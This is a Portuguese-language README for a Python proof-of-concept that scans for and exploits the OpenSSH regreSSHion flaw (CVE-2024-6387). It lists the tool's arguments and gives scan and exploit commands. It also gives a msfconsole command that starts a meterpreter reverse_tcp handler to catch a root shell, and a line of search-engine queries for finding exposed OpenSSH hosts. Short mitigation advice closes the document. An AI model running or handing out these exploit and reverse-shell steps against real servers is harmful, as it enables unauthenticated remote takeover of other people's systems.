
Vulnerabilidade de Execução Remota de Código Não Autenticada no servidor OpenSSH (CVE-2024-6387)
CVE-2024-6387.py - PoCO exploit funciona APENAS para servidores OpenSSH de 32 bits. Isso se deve ao fato de que o PoC usa ponteiros de 32 bits! Sabe-se também que algumas versões já foram corrigidas, e nem todo servidor é vulnerável. Testado em: Kali Linux, ParrotSec, Ubuntu 22.04
Vulnerabilidade de Execução Remota de Código Não Autenticada no servidor OpenSSH
CVE-2024-6387.py é uma ferramenta leve e eficiente projetada para identificar servidores executando versões vulneráveis do OpenSSH, visando especificamente a vulnerabilidade regreSSHion recém-descoberta (CVE-2024-6387). Este script facilita a varredura rápida de múltiplos endereços IP, nomes de domínio e intervalos de rede CIDR para detectar potenciais vulnerabilidades e garantir que sua infraestrutura esteja segura.
Uma condição de corrida no manipulador de sinais foi encontrada no servidor OpenSSH (sshd), onde um cliente não autentica dentro dos segundos de LoginGraceTime (120 por padrão, 600 em versões antigas do OpenSSH), então o manipulador SIGALRM do sshd é chamado de forma assíncrona. No entanto, este manipulador de sinais chama várias funções que não são seguras para sinais assíncronos, por exemplo, syslog().
Você pode encontrar os detalhes técnicos aqui.
A falha, descoberta por pesquisadores da Qualys em Maio de 2024, e identificada pelo identificador CVE-2024-6387, deve-se a uma condição de corrida no manipulador de sinais no sshd que permite que atacantes remotos não autenticados executem código arbitrário como root.
"Se um cliente não autenticar dentro dos segundos de LoginGraceTime (120 por padrão), então o manipulador SIGALRM do sshd é chamado assincronamente e chama várias funções que não são seguras para sinais assíncronos,"
"Um atacante remoto não autenticado pode tirar proveito desta falha para executar código arbitrário com privilégios de root."
Requisito: python3 (última versão)
### Argumentos de Linha de Comando
mode: Seleciona o modo de operação. As opções são scan ou exploit.
-T, --targets: Endereços IP, nomes de domínio, caminhos de arquivos contendo endereços IP ou intervalos de rede CIDR.
-f, --outputfile: Arquivo para salvar os resultados (ex.: result.json).
-g, --gracetimecheck: Tempo em segundos para aguardar após identificar a versão para verificar a mitigação do LoginGraceTime (padrão: 120 segundos).
-n, --nic: Interface de rede (padrão: 'eth0').
-o, --output: Formato de saída para resultados (opções: 'csv', 'txt', 'json').
-p, --port: Número da porta para verificar ou explorar (padrão: 22).
-s, --speed: Número de threads para aumentar as chances de condição de corrida (padrão: 10).
-t, --timeout: Tempo limite de conexão em segundos (padrão: 1 segundo).
-H, --resolve-hostnames: Resolver nomes de host
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Tudo o que você precisa fazer é executar o comando abaixo primeiro (altere o manipulador {yourip}) e, em seguida, executar o exploit com o comando acima
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
A ferramenta fornece saída codificada por cores no console para melhor legibilidade:
Verde: Conexão ou operação bem-sucedida. Vermelho: Conexão falhou ou erro. Amarelo: Avisos ou informações dignas de nota. Ciano: Informações gerais ou atualizações de status.
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessGerenciamento de Patches: Aplicar rapidamente os patches disponíveis para o OpenSSH é fundamental para eliminar a lacuna de vulnerabilidade. A aplicação oportuna de patches garante que explorações conhecidas não possam ser usadas contra seus sistemas, reduzindo assim a janela de oportunidade para atacantes.
Controle de Acesso Aprimorado: Limitar o acesso SSH por meio de controles baseados em rede adiciona uma camada extra de defesa. Essa abordagem minimiza a exposição a possíveis atacantes, restringindo as conexões SSH apenas a redes ou endereços IP autorizados. A implementação de ferramentas como regras de firewall ou uso de VPNs para acesso seguro pode aplicar essas restrições de forma eficaz.
Segmentação de Rede: Dividir sua rede em segmentos ajuda a conter o impacto de uma possível violação. Ao segmentar sistemas críticos e dados confidenciais das partes menos críticas da sua rede, você reduz o risco de movimento lateral por parte dos atacantes. Essa segmentação pode ser complementada com controles de acesso rigorosos e monitoramento para detectar e responder a qualquer tentativa não autorizada de violar esses segmentos.
Sistemas de Detecção de Intrusão (IDS): Implantar sistemas de detecção de intrusão (IDS) ou sistemas de prevenção de intrusão (IPS) permite o monitoramento em tempo real do tráfego de rede e logs do sistema. Esses sistemas podem detectar atividades suspeitas e possíveis tentativas de exploração associadas à vulnerabilidade regreSSHion. Alertas acionados por esses sistemas permitem investigação e mitigação imediatas antes que danos significativos possam ocorrer.
Monitoramento de Tentativas de Exploração: O monitoramento contínuo dos logs de rede e sistema é crucial. Procure por quaisquer padrões ou atividades incomuns que possam indicar uma tentativa de explorar a vulnerabilidade do OpenSSH. Essa abordagem proativa ajuda a identificar e responder a ameaças antes que elas possam causar danos.